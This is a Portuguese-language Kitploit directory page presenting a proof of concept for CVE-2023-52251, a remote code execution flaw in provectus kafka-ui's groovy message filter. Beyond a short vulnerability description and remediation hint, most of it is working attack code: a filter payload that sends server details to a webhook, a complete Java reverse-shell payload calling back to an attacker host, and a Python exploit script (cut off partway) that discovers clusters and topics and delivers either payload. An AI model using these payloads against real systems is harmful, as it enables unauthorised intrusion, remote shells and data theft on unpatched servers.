Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 Existe uma vulnerabilidade de Execução Remota de Código no provectus/kafka-ui. | Kitploit
Ferramentas/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 Existe uma vulnerabilidade de Execução Remota de Código no provectus/kafka-ui.

Ver Repositório
21316há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-52251-POC

Existe uma vulnerabilidade de Execução Remota de Código no provectus/kafka-ui. Até o momento em que este texto foi escrito, não há correção disponível, mas o fornecedor foi notificado por nós e pela equipe do VINCE sem qualquer resposta. O relatório foi enviado em 27 de setembro de 2023 para a provectus tanto por e-mail quanto pelo GitHub Security.

Remediação

Sugerimos, no mínimo, comentar toda a função de filtro groovy/adicionar autenticação.

Metadados

TítuloValor
CVSS StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:A/H
CVE IDCVE-2023-52251
Descrição CVSprovectus kafka-ui 0.4.0-0.7.1 foi descoberto por conter uma vulnerabilidade de execução remota de comandos (RCE) por meio do parâmetro q em /api/clusters/local/topics/{topic}/messages
Pontuação CVSS9.x
CWECWE-94: Controle inadequado da geração de código ('Injeção de Código')
FornecedorProvectus
Produtokafka-ui
Linkhttps://github.com/provectus/kafka-ui
Versões afetadas0.4.0-0.7.1
Versões corrigidasNenhuma
ContribuidoresThingstad, BobTheShoplifter

Detalhes

Tipo de Vulnerabilidade: Execução Remota de Código (RCE)

Software Afetado: Kafka-ui

Versão: [0.4.0-0.7.1]

Descrição da Vulnerabilidade

Não há sanitização do filtro de script groovy antes de ele ser executado. Isso permite que um atacante execute código arbitrário no servidor.

Referência do Código-Fonte

Na função groovyScriptFilter o "script" não é sanitizado antes de ser executado.

E está sendo avaliado no mecanismo:

var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

Instruções completas, incluindo detalhes específicos de configuração, para reproduzir a vulnerabilidade.

Usando o filtro:

new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Captura de tela do filtro

Enviará uma solicitação para o webhook com o nome do sistema operacional do servidor.

Captura de tela do webhook

Ampliando ainda mais isso, podemos usar o seguinte payload para obter um reverse shell:

String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

O payload é gerado facilmente em https://www.revshells.com/.

Reverse shell

E um PoC em Python também foi criado:

from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)
Baixar ferramenta